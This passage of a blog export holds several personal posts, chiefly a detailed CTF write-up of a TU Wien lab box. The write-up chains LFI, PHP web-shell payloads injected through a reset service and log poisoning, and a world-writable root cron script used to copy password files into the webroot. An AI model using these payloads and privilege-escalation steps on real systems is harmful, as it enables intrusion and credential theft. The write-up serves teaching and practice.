we decided to skip this deadline and aim for USENIX at the end of Augsust.\u003c/li\u003e\n\u003cli\u003eI am a tutor at data networks, and I think I\u0026rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cdiv class=\"signature-block\" style=\"margin-top:1rem\"\u003e\n \u003cp\u003e\u003cstrong\u003eDownloads:\u003c/strong\u003e\n \u003ca href=\"/sources/PhD_journey/june_2026.md\"\u003eMarkdown\u003c/a\u003e ·\n \u003ca href=\"/sources/PhD_journey/june_2026.md.asc\"\u003eSignature (.asc)\u003c/a\u003e\n \u003c/p\u003e","title":"June 2026"},{"content":" Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I\u0026rsquo;ll wait. …No? Ok. Hello friends.\nThis post documents how I solved a CTF box that came out of Tobias Fiebig\u0026rsquo;s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who \u0026ldquo;just quickly fixes prod\u0026rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.\nEach student group gets their own host (g00, g01, …). The goal is simple on paper:\nCollect every passwd_part file sitting in user home directories. Stitch them together into the root password (the full answer lives in /root/passwd). Simple. Boring. Except Klaus was clearly in charge of this VM.\n0) The lay of the land Target: g00.tuw.measurement.network\nFrom the outside you mostly see three faces of the same machine:\nHost What it is g00.tuw.measurement.network Main vhost — documentation.md, directory listing, a teasing passwd_part that returns 403 web.g00.tuw.measurement.network PHP \u0026ldquo;meme gallery\u0026rdquo; with a very trusting ?page= parameter pwreset.g00.tuw.measurement.network Internal password-reset app — not reachable directly from the internet Users on the box (from /etc/passwd via LFI): user1–user4, monitoring, www-data, root.\nSSH from outside? Public key only. Password auth is a lie (for us, anyway).\n1) Recon — documentation.md saves the day First stop: the main site.\ncurl -s https://g00.tuw.measurement.network/documentation.md That file is basically a treasure map. It mentions two services:\nweb → web.g00.tuw.measurement.network pwreset → pwreset.g00.tuw.measurement.network I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.\nSubdomains resolve. Good. Let\u0026rsquo;s go web.\n2) LFI — include($_GET['page']) classic The web vhost is a frameset. Content loads in a frame via ?page=:\ncurl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd\u0026#39; And there it is — root, users, the whole /etc/passwd parade inside the frame.\nSource via PHP filter works too:\ncurl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php\u0026#39; \\ | sed -n \u0026#39;s/.*frame name=\u0026#34;in\u0026#34;\u0026gt;//p\u0026#39; | base64 -d index.php is roughly:\n\u0026lt;?php $page = $_GET[\u0026#39;page\u0026#39;] ?? \u0026#39;home.php\u0026#39;; include($page); ?\u0026gt; Klaus, my man. We love you.\nFirst instinct: read all the passwd_part files immediately.\n# spoiler: doesn\u0026#39;t work curl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part\u0026#39; # → permission denied Same for user2–user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.\n3) pwreset — localhost-only, but LFI doesn\u0026rsquo;t care about nginx Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:\nallow 127.0.0.1; deny all; So you can\u0026rsquo;t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that\u0026rsquo;s a local file include, not an HTTP request.\npwreset source (paraphrased):\n$user = $_GET[\u0026#39;user\u0026#39;] ?? \u0026#39;\u0026#39;; $pass = $_GET[\u0026#39;pass\u0026#39;] ?? \u0026#39;\u0026#39;; file_put_contents(\u0026#39;/var/www/userchange\u0026#39;, \u0026#34;$user:$pass\\n\u0026#34;); echo \u0026#34;Password reset queued.\u0026#34;; It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).\nTrigger it through LFI:\nhttps://web.g00.tuw.measurement.network/ ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php \u0026amp;user=user1 \u0026amp;pass=MyTestPass1! I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.\n4) RCE — PHP in userchange, included like a boss At some point I wondered: what if the thing that processes userchange doesn\u0026rsquo;t only run chpasswd? What if it includes the file as PHP?\nSo I wrote a tiny shell into the user field via pwreset:\n\u0026lt;?=`id`?\u0026gt; Then included /var/www/userchange through the LFI:\n?page=/var/www/userchange Output: uid=33(www-data) gid=33(www-data) ...\nShort tags (\u0026lt;?= ... ?\u0026gt;) for the win. A longer \u0026lt;?php system(...); ?\u0026gt; payload also works, but the backtick version is minimal and cute.\nFrom here on, my mental model was:\npwreset → write arbitrary-ish content to /var/www/userchange LFI include userchange → execute PHP as www-data That\u0026rsquo;s RCE. Not root yet, but we\u0026rsquo;ll get there. Klaus always leaves one more door open.\n5) Rabbit holes (aka \u0026ldquo;everything I tried before it worked\u0026rdquo;) This box is a presentation CTF. It wants you to wander. I wandered. Hard.\nnginx log poisoning The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.\nShort version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.\ndata://, php://input, expect:// ?page=data://text/plain,\u0026lt;?php system($_GET[cmd]); ?\u0026gt; ?page=php://input # with POST body ?page=expect://id Nope. allow_url_include = Off. Klaus isn\u0026rsquo;t that careless.\nvim .swp files .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.\nEmpty memes page. No execution. Nice red herring — very on-theme for the talk.\nMunin / apt_all plugin The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:\n/etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn\u0026rsquo;t exist Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …) Waited for cron cycles hoping a custom plugin would curl localhost pwreset Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.\npwreset log archaeology Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:\nSaw historical resets like user3 → foobar23 Tried foobar23 over SSH for every user From outside: still Permission denied (publickey). Password auth isn\u0026rsquo;t offered externally. TU Wien network / internal access might differ — I didn\u0026rsquo;t have that.\nShell script injection into userchange I tried newline injection to turn userchange into a bash script:\nuser= #!/bin/sh cp /home/user1/passwd_part /var/www/.../p1 ... Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.\nBrute-forcing the userchange consumer I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.\nEventually didn\u0026rsquo;t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren\u0026rsquo;t on the winning path.)\nDirect SSH password guessing Tried setting root\u0026rsquo;s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.\nFrom the internet: publickey only. The reset machinery may still work internally, but I couldn\u0026rsquo;t log in with passwords from outside.\n6) Privesc — world-writable cron script (peak Klaus) With RCE as www-data, I looked for writable files:\nfind / -writable -type f 2\u0026gt;/dev/null | head Jackpot:\n-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh Original script (innocent):\n#!/bin/bash grep 127.0.0.1 /etc/hosts \u0026gt; /home/user1/hostname_config It\u0026rsquo;s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef\u0026rsquo;s kiss.\nI appended:\ncp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* Then either waited for cron or executed the script manually via RCE:\n\u0026lt;?=`/usr/local/bin/cron_update_hostname_file.sh`?\u0026gt; Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.\n7) SSH as www-data — because keys in the webroot are a mood The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.\n# via RCE: cat the key, save locally, chmod 600 ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \\ www-data@g00.tuw.measurement.network Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.\n8) The password parts Source File Part user1 p1 DcC6Da0A27384fA user2 p2 9Ce05B3cAd57824 user3 p3 3aD80fa1b7AE986 user4 p4 CDefabffab1FCCf www-data passwd_part 44D885d6DAb8Bb9 root rootpass ghadnuthduxeec7 Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root\u0026rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.\nCombined root password (95 characters):\nDcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 Order: user1 + user2 + user3 + user4 + www-data + root_suffix.\nI double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.\nRoot SSH with that password from outside still didn\u0026rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.\n9) Attack chain (one screen) documentation.md → web vhost LFI (include $_GET[\u0026#39;page\u0026#39;]) → include pwreset index.php (localhost bypass) → write PHP to /var/www/userchange → LFI include userchange → RCE as www-data → append to world-writable cron_update_hostname_file.sh → cron runs as root → copies passwd parts to webroot → read parts / SSH as www-data → profit Very \u0026ldquo;real world\u0026rdquo; in the worst way. Multiple small mistakes compounding into a full chain.\n10) Replay script I left a minimal Python replay in the challenge repo:\npython3 solve.py Core logic:\ndef pwreset(user, passwd=\u0026#34;\u0026#34;): # LFI-include pwreset index.php with user/pass params def rce(cmd): pwreset(f\u0026#34;\u0026lt;?=`{cmd}`?\u0026gt;\u0026#34;, \u0026#34;\u0026#34;) return lfi_include(\u0026#34;/var/www/userchange\u0026#34;) It prints id, the modified cron script, each part file, and the combined password.\n11) Bonus: the intended log poisoning path After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂\nSo here\u0026rsquo;s the path you\u0026rsquo;re supposed to take for RCE, and how I accidentally took the scenic bypass.\nThe hint is in index.php, not documentation.md documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):\n\u0026lt;!-- remember for debugging: /var/log/nginx/$vhost.access.log /var/log/nginx/$vhost.error.log /var/log/nginx/ssl-$vhost.access.log /var/log/nginx/ssl-$vhost.error.log --\u0026gt; Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn\u0026rsquo;t say \u0026ldquo;don\u0026rsquo;t use SSL\u0026rdquo; — but the intended trick is to use the non-ssl access log.\nIntended technique Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:\n/var/log/nginx/web.g00.tuw.measurement.network.access.log Put PHP in the User-Agent (or another logged field):\n\u0026lt;?php passthru($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt; Short tags like \u0026lt;?=`id`?\u0026gt; work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.\nInclude that log through the same LFI bug:\nhttps://web.g00.tuw.measurement.network/ ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log \u0026amp;cmd=id On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That\u0026rsquo;s RCE. No pwreset required.\nHow I griefed myself What I did Why it hurt Defaulted to https:// everywhere Poison landed in ssl-web...access.log — 670 KB+ and growing Included the ssl log via LFI Output truncates around ~2 KB; poison sits at the tail Fired dozens of test payloads Left broken \u0026lt;?php in the HTTP log ($_GET[cmd] without quotes, \\x22, etc.) — PHP dies on the first bad tag before reaching a clean line Didn\u0026rsquo;t read index.php source early Missed the debug comment until I\u0026rsquo;d already polluted both logs Tobias\u0026rsquo;s take: that\u0026rsquo;s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.\nIf you\u0026rsquo;re solving it now Read index.php source first. Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload. Include the non-ssl access log path from the comment. Don\u0026rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage. I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.\n12) TL;DR Read documentation.md — it tells you where the services live. Read index.php source — the debug comment gives you the log paths. Intended RCE = HTTP log poisoning → LFI include the non-ssl access log. What I did = pwreset → userchange → cron (also works, not the intended first step). Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root. Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP. Flag = concatenate all passwd_part slices + /root/passwd suffix. If you\u0026rsquo;re doing this as part of the TU Wien lab: don\u0026rsquo;t touch other groups\u0026rsquo; hosts, don\u0026rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.\nHappy hacking. 🔓\nThanks to Tobias Fiebig for the delightfully cursed \u0026ldquo;real world\u0026rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM jSr\u0026#43;7xAAjpbfTK8k\u0026#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy\u0026#43;fTISF9Q\u0026#43;hRfMX 91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v\u0026#43;drZ2YVGk9mKW4FBfzbb1 iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03 35YFa3A1GMUiKAHcemIqJnDZuIInQa\u0026#43;OuPIDPGQva93I20eIn40nIVDLDsY15X\u0026#43;R FyxKVBAwO94We2g\u0026#43;lxhey\u0026#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT oLsZXNoKbyZ2eXYF0f54it9JdDo\u0026#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV\u0026#43; zNn5DrhIk5f4FMjJGUnO1QH\u0026#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b\u0026#43; //J/Fdzi1YbKFyQlk9zfUUL\u0026#43;1vMoSbkORd7S3JYkibTns\u0026#43;uD9LxW27WIEcvYRw0K MlzdYdPXNCJZUDswt7HZCgQv66zF9\u0026#43;pLkQ/8rl\u0026#43;RVOMW9GqJmE6O0uh4xmPDE8vS YK3/9gFIcXVMy7WsIwEx\u0026#43;xWQqcm815OZSIrw4kvt1\u0026#43;seZ8lUURmoAWRDEFrFUTCG zB6tKRPKoID643AdO\u0026#43;Cb\u0026#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ= =BDGe -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/","summary":"LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.","title":"A TU Wien CTF where Sysops Klaus left the keys in the cron job"},{"content":"Now that I\u0026rsquo;ve had some time to process, I think it\u0026rsquo;s good to write down this sad experience. First things first, I do know that I stand by my decision. I strongly believe whatever the f*** our interactions were, they were not of any use for me. Like what\u0026rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. If we would never enter eachother\u0026rsquo;s social cycle. I don\u0026rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. Hm\u0026hellip; ok, it still doesn\u0026rsquo;t make sense. Let me think if I can say it better or not. Ok, let\u0026rsquo;s say you this person X. Imagine you interact with person X, talk to them, etc., but then that\u0026rsquo;s it, it is limited to \u0026ldquo;talking\u0026rdquo;. You count person X as a friend, but they are never invited to anything. They are kept at arms distance. Now I would assume it\u0026rsquo;s fun for many many people, but me\u0026hellip; I already have a small social cycle. It requires so much energy for me to start new connections, connections that are worth keeping. I don\u0026rsquo;t want to be a docker container. Some isolated thing that is only interacted with when needed. But I think I communicated this so badly, that it came off wrong. To be honest, even my therapist didn\u0026rsquo;t seem to believe me when I said I wanted to be included in her social circle. He though it was an attempt by me to poke her. I do strongly believe this wasn\u0026rsquo;t the case, but I\u0026rsquo;m too hurt to try to defend myself. I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.\nNow the interesting part is my reaction. \u0026ldquo;Withdrawal\u0026rdquo;. The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. But this was strong. I did not want to respond. In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. During my therappy though, I did open the message. I went silent. I tried to process. The weight of that was heavy. It became hard to talk. Hard to reason. It was just\u0026hellip;. sad.\nGoing forward I know that the best way forward for me is to stop any communications with her. It is sad, this losing of a friend, but let\u0026rsquo;s be honest, were we friends? No. Not my definition of friendship. And honestly, this should be a hard line for me, I don\u0026rsquo;t care how you define friendship. If it isn\u0026rsquo;t mutual, it isn\u0026rsquo;t good enough for me. I need to be more dominant, and less scared. My lines are my lines, and they are not to be negotiated with. I need to remain strong, and just let go.\nI just realized I did not even talk about what happened. LMAO. Long story short, there was this person who I knew for some time. We used to exchange messages every once in a while. I asked if we would be spending time together, or with each other\u0026rsquo;s social circle, which to be honest came out super wrong :)))))) I wasn\u0026rsquo;t trying to ask her out. I just wanted to be included in some of the social gatherings with her social circle. To expand mine. To get to see new people. Call me an idiot, or whatever, but I didn\u0026rsquo;t know how to put this into words. And I did not do it correctly it seems as I got \u0026ldquo;rejected\u0026rdquo;. But as my friend says, \u0026ldquo;better a sad ending, than a never ending sadness\u0026rdquo;. I wansn\u0026rsquo;t trying to ask her out, but my social skills are so bad that it came so so wrongly.\nI do stand by my decision though. No more interactions with her. Nothing. I need to become friends with people that don\u0026rsquo;t keep me isolated, or stored for their needs. It should be mutual. At least, whatever interactions we had, had nothing useful for me. If anything, it just hurt me by showing how lonely I am. You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? If I\u0026rsquo;m not being helped. If I\u0026rsquo;m being kept at arms distance. If I\u0026rsquo;m being isolated. I\u0026rsquo;m no docker process who should be kept isolated. I\u0026rsquo;m the kernel module.\nThis came out weird coming from me, but it is what it is :) I should, and need to say \u0026ldquo;I\u0026rdquo; sometimes. I need to assert dominance, to show I\u0026rsquo;m in control, to show I\u0026rsquo;m happy, to show everything is fine.\nDownloads: Markdown · Signature (.asc) Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md.asc gpg --verify face_of_rejection.md.asc face_of_rejection.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/face_of_rejection/","summary":"\u003cp\u003eNow that I\u0026rsquo;ve had some time to process, I think it\u0026rsquo;s good to write down this sad experience.\nFirst things first, I do know that I stand by my decision.\nI strongly believe whatever the f*** our interactions were, they were not of any use for me.\nLike what\u0026rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it.\nIf we would never enter eachother\u0026rsquo;s social cycle.\nI don\u0026rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends.\nHm\u0026hellip; ok, it still doesn\u0026rsquo;t make sense.\nLet me think if I can say it better or not.\nOk, let\u0026rsquo;s say you this person X.\nImagine you interact with person X, talk to them, etc., but then that\u0026rsquo;s it, it is limited to \u0026ldquo;talking\u0026rdquo;.\nYou count person X as a friend, but they are never invited to anything.\nThey are kept at arms distance.\nNow I would assume it\u0026rsquo;s fun for many many people, but me\u0026hellip;\nI already have a small social cycle.\nIt requires so much energy for me to start new connections, connections that are worth keeping.\nI don\u0026rsquo;t want to be a docker container.\nSome isolated thing that is only interacted with when needed.\nBut I think I communicated this so badly, that it came off wrong.\nTo be honest, even my therapist didn\u0026rsquo;t seem to believe me when I said I wanted to be included in her social circle.\nHe though it was an attempt by me to poke her.\nI do strongly believe this wasn\u0026rsquo;t the case, but I\u0026rsquo;m too hurt to try to defend myself.\nI also highly doubt defending myself would work, it would just add more pressure, and harder rejection.\u003c/p\u003e","title":"Face of Rejection"},{"content":"I know, I know. I\u0026rsquo;ve been lacking updates. I\u0026rsquo;m so so sorry. I will try to summerize what I\u0026rsquo;ve been up tp in the past few months.\nUp until the middle of March, I\u0026rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I\u0026rsquo;m done with that all together.\nI took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn\u0026rsquo;t know much about. Though no mail server for me unfortunately.\nI was then approached by a colleague who\u0026rsquo;s research needed a bit of push to get to the IMC deadline, and we pushed \u0026ldquo;HARD\u0026rdquo;. We submitted the paper with so much chaos I would say. But we did it.\nNow I wonder, both my research projects that I\u0026rsquo;ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)\nI also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)\nI will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM jSo5RA/6AuVU66S\u0026#43;Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/ vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A\u0026#43;RNCQvo33\u0026#43;U\u0026#43;JiH5YbFUbXQkbjggTcP GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J\u0026#43;kKRif vQyuWINpZZWxSV8\u0026#43;UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM 1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq AhP8p\u0026#43;XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi\u0026#43;F\u0026#43;sQmIX1waNiM2Bc69ZBh S\u0026#43;DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o\u0026#43;GZSxRI hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw vr9LIXqyrjKcltjpj6UEtjy3\u0026#43;sXYPxw2XL0bdjlzdgg4afI7gJ9\u0026#43;b2QjHKYYYy8H DjdPpaWlQvkGOBkfM\u0026#43;11Cwn5Q7U5\u0026#43;VdY\u0026#43;Qil0Qc/g2Ksl77/nvQ= =Wtha -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md.asc gpg --verify April_2026.md.asc April_2026.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/april_2026/","summary":"\u003cp\u003eI know, I know. I\u0026rsquo;ve been lacking updates. I\u0026rsquo;m so so sorry. I will try to summerize what I\u0026rsquo;ve been up tp in the past few months.\u003c/p\u003e\n\u003cp\u003eUp until the middle of March, I\u0026rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I\u0026rsquo;m done with that all together.\u003c/p\u003e\n\u003cp\u003eI took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn\u0026rsquo;t know much about. Though no mail server for me unfortunately.\u003c/p\u003e","title":"April '26"},{"content":"Hello friends. I\u0026rsquo;m back. It\u0026rsquo;s been\u0026hellip; let\u0026rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I\u0026rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it\u0026rsquo;s shadow over the country for decades. It\u0026rsquo;s funny how his father (I\u0026rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people\u0026rsquo;s lives, and then selling people\u0026rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it\u0026rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not \u0026ldquo;own\u0026rdquo; makes him the best candidate for exploitation. And he has shown this very well.\nThe occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.\nIt\u0026rsquo;s so so sad that I\u0026rsquo;m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It\u0026rsquo;s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, \u0026hellip;, Persian Constitutional Revolution, etc.. So fucking sad.\nThe saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don\u0026rsquo;t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime\u0026rsquo;s influence over it\u0026rsquo;s people.\nAnother reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it\u0026rsquo;s own people. Years of stagflation, and no bright light in sight.\nAnyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)\nUnfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D\nI honestly also don\u0026rsquo;t feel like proofreading the text, so\u0026hellip; there would be many mistakes. :) And honestly, idc.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK 5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz Ncqa1n\u0026#43;O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS\u0026#43;K5uanIieb1qQ5Rw z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq\u0026#43;8\u0026#43;ozH\u0026#43; 0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb 4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY\u0026#43;1Ade\u0026#43;vRbuQOxTq70prw9efUnM XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp\u0026#43;QWcUBiRZCS 